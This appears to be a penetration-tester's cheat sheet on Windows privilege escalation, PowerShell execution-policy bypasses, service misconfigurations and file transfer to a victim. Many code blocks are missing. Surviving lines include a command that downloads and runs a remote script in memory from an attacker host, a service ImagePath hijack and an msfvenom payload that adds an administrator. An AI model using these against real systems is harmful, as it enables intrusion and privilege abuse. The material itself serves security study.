Privilege Escalation

Privilege Escalation

PowerShell Script Execution Policy Bypass Methods

Bypass Method
Description

Set-Executionpolicy Bypass

Administrator rights are required.

Set-ExecutionPolicy -Scope CurrentUser Bypass

Only works in the context of the current user but requires no Administrator rights.

Set-ExecutionPolicy Bypass -Scope Process

Works without Administrator rights and lasts for the duration of the current session.

  1. Open .ps1 file in text editor.

  2. Copy all text in the file

  3. Paste into PowerShell

PowerShell will run each line of the script one at a time, essentially the same as running the script.

Echo <script_code> | PowerShell.exe -noprofile -

Similar to simply pasting the code.

cat $script.ps1 | PowerShell.exe -noprofile -

Effectively the same as the previous example, but the code is read from a script file instead of being pasted. cat is an alias for Get-Content.

function <name> { <code_here> }

Similar to the above examples, however you paste your code inside the curly braces, and run the code by typing the <name> of your function. Allows for code reuse without having to copy and paste multiple times.

PowerShell.exe -command "<code_here>"

Runs the string provided to the -c (Command) argument as code. If the value of the -Command parameter is -, the command text is read from standard input.

cat $script.ps1 | IEX

Pipes the content of the script to the Invoke-Expression cmdlet, which runs any specified string as a command and returns the results to the console. IEX is an alias for Invoke-Expression.

IEX { <code_here> }

Essentially creates a one-time use function from your code.

& { <code_here> }

The operator (&) is an alias for Invoke-Expression and is equivalent to the example above.

. { <code_here> }

The operator (.) can be used to create an anonymous one-time function. This can sometimes be used to bypass certain constrained language modes.

Invoke-Command -scriptblock { <code_here> } -ComputerName $Computer

Can be used to run commands against remote systems with the optional -ComputerName parameter if PowerShell remoting has been enabled.

$text = Get-Content $text_file -Raw

$script = [System.Management.Automation.ScriptBlock]::Create($text)

& $script

Using the .NET object System.Management.Automation.ScriptBlock we can compile any text content to a script block. Then, using (&) we can easily execute this compiled and formatted text file.

Echo IEX(New-Object Net.WebClient).DownloadString(http://$ip:$port/$filename.ps1) | PowerShell -NoProfile -

Download script from attacker's machine, then run in PowerShell, in memory. No files are written to disk.

Other Bypass Methods

Execute .ps1 scripts in memory

If you are able to use Invoke-Expression (IEX) you can execute remote scripts using the following command. You can also copy and paste the functions into your PowerShell session, so any functions become available to run. Notice the .ps1 extension. When using downloadString this will need to be a ps1 file to inject the module into memory.

This can also be done from a .bat script by calling powershell.exe.

IEX is blocked from users in most cases and Import-Module is monitored by things such as EDR. Downloading files to a target's machine is not always allowed in a penetration test, so another method to use is Invoke-Command. This can be done using the following format.

This will execute the file and its contents on the remote computer.

Another sneaky method would be to have the script load at the start of a new PowerShell window. This can be done by editing the $PROFILE file. The example script below can do this.

Run script code as a function

Running the code from your PowerShell script inside a function will completely bypass script execution policies. Other code protection policies such as JEA may still stop certain cmdlets and code from running, however.

Then you can re-use the code by just typing the function name.

Using the -EncodedCommand parameter

This is very similar to using the -c or -Command parameter, however, in this case all scripts are passed as a base64 encoded string. Encoding your script in this way helps to avoid all of the annoying parsing errors that you encounter when using the standard -Command parameter. This technique does not require any configuration changes or disk writes.

Disable ExecutionPolicy by Swapping out the AuthorizationManager

The function below can be executed via an interactive PowerShell console or by using the command switch. Once the function is called it will swap out the AuthorizationManager with null. As a result, the execution policy is essentially set to Unrestricted for the remainder of the session. This technique does not result in a persistent configuration change or require writing to disk. The change will be applied for the duration of the session, however.

Change Execution Policy in the Registry

Sudo for Windows

There may be times when you know the credentials for another user, but can't spawn other windows. The sudo equivalent in PowerShell on Windows machines is the verb RunAs. It is not as simple to use as sudo, however.

runas

First run cmdkey /list. If this returns entries, it means that you may able to runas a certain user who stored their credentials in Windows.

This can be used in either cmd.exe or PowerShell.

runas PowerShell

Use the below PowerShell script to run commands as another user.

Needs the password, username, command, and computername parameters in this example, which runs $command as the specified user.

PowerShell sudo script

https://docs.microsoft.com/en-us/powershell/scripting/learn/deep-dives/add-credentials-to-powershell-functions

Below is a PowerShell script that that will run a separate file as another user. You can then run a batch file, PowerShell script, or just execute a meterpreter binary as that user. The below function is to be run from a PowerShell prompt:

Example: sudo -UserName Administrator -Script C:\tmp\privesc.ps1 This will cause Windows to prompt for a password for the Administrator user, then run the privesc script. Can be used to run a command rather than a script.

Running this in a function will bypass Script Execution policies, though JEA may still give you trouble.

Services

If one of the groups you have access to has SERVICE_ALL_ACCESS in a service, then it can modify the binary that is being executed by the service. To modify it and execute nc you can do:

Service Permissions

Other Permissions can be used to escalate privileges:

  • SERVICE_CHANGE_CONFIG: Can reconfigure the service binary

  • WRITE_DAC: Can reconfigure permissions, leading to SERVICE_CHANGE_CONFIG

  • WRITE_OWNER: Can become owner, reconfigure permissions

  • GENERIC_WRITE: Inherits SERVICE_CHANGE_CONFIG

  • GENERIC_ALL: Inherits SERVICE_CHANGE_CONFIG(To detect and exploit this vulnerability you can use exploit/windows/local/service_permissions in MetaSploit)

Check if you can modify the binary that is executed by a service. You can retrieve a list of every binary that is executed by a service using wmic (not in system32) and check your permissions using icacls:

You can also use sc.exe and icacls:

You should check if you can modify any service registry. You can check your permissions over a service registry doing:

Check if Authenticated Users or NT AUTHORITY\INTERACTIVE have FullControl. In that case you can change the binary that is going to be executed by the service. To change the Path of the binary executed: reg add HKLM\SYSTEM\CurrentControlSet\srevices\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

If the path to an executable is not inside quotes, Windows will try to execute every ending before a space. For example, for the path C:\Program Files\Some Folder\Service.exe Windows will try to execute:

To list all unquoted service paths (minus built-in Windows services)

-or-

-also-

You can detect and exploit this vulnerability with metasploit using the module: exploit/windows/local/trusted_service_path You can manually create a service binary with msfvenom: msfvenom -p windows/exec CMD="net localgroup administrators $username /add" -f exe-service -o service.exe

Extract SSH Keys using PowerShell and Python

First run this as a PowerShell function, then use the Python script below to parse and decrypt the JSON

File Transfers

Using FTP

Windows has an FTP client built in at C:\Windows\System32\ftp.exe that is already in PATH. You can open an FTP connection and transfer files directly between the attacker's machine from the command line. Most of the time the initial shell you get on a target won’t be interactive, which means running an command which requires further input from the user (e.g. text editor, FTP connection). This won’t work properly and can crash the shell. The trick is to create a file with all the FTP commands you need and run them all at once.

To set this up, you can authenticate with user anonymous and any random password (or if FTP account information is known, use that). Windows FTP can take a “script” of commands directly from the command line. This means if you create a text file called ftp_commands.txt on the system that contains this:

Then you can simply run ftp -s:ftp_commands.txt and download a file with no user interaction. Use -i to disable interactive prompting during multiple file transfers. You can also use the put $file_to_upload command instead of get to send a file to the attacker's machine.

FTP batch script examples

or

Use "Get" if downloading, or "Put" if uploading.

SMB

First, create an SMB share using Impacket

Or create an SMB share using samba:

Then add the following to the end of /etc/samba/smb.conf:

Finally (re)start the Samba server

Transfer files to/from the Windows victim

Connect to the remote share with net.exe

Or using the New-PSDrive PowerShell cmdlet

Download files with PowerShell

Using System.Net.WebClient

Using Invoke-WebRequest

Download and Execute in Memory

Using .Net:

Using Bitsadmin

First, you must import the BitsTransfer PowerShell Module with Import-Module BitsTransfer. After you import the BitsTransfer module, the following cmdlets are available:

  • Add-BitsFile Adds files to a BITS transfer

  • Complete-BitsTransfer Completes a BITS transfer

  • Get-BitsTransfer Gets a BITS transfer

  • Remove-BitsTransfer Stops a BITS transfer

  • Resume-BitsTransfer Resumes a suspended BITS transfer

  • Set-BitsTransfer Configures a BITS transfer job

  • Start-BitsTransfer Creates and starts a BITS transfer job

  • Suspend-BitsTransfer Pauses a BITS transfer job

For example, the following Windows PowerShell command begins a BITS transfer from the local computer to a computer named CLIENT:

When running Windows PowerShell interactively, the PowerShell window displays the progress of the transfer. The following command uses an abbreviated notation to download a file from a Web site to the local computer:

Microsoft

Using Certutil

The basic syntax for downloading a file:

You can also use syntax as below to create .bat scripts:

You can also use certutil to encode and decode a payload:

Using Microsoft Defender MpCmdRun.exe

Also: See APT writeup for how to use this tool to retrieve machine account hash for total pwnage!

C# Command-line build with csc.exe:

Users

Add User

Make User Admin

Get all members of "Domain Admins" group

Password brute force/domain user enumeration (kerbrute)

Dump password hashes (Metasploit)

Find admin users (Metasploit)

Impersonate an administrator (meterpreter)

Add a user

MISC

Covert to and from Base64 with PowerShell

Convert to base64

Convert from base64

Execute a base64 payload in powershell

Using Runas to execute commands as another user

First you have to create a credential object, and specify the computer to connect to. Can be used both locally and remotely.

AlwaysInstall Elevated

Allows non-privileged users to run executables as NT AUTHORITY\SYSTEM. To check for this, query the AlwaysInstallElevated property of the HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer registry key

Using PowerShell drives:

Using .Net:

  1. Open the registry on the remote computer.

2. Open the SOFTWARE\Policies\Microsoft\Windows\Installer registry key.

3. Use the GetValue() method to query the value of the registry key.

Using .NET rather than PowerShell drives (as above) is a bit faster and is an easy way to query registry keys and values on remote computers.

msfvenom

msiexec (on victim machine)

Metasploit module

References

If you like this content and would like to see more, please consider buying me a coffee!

Last updated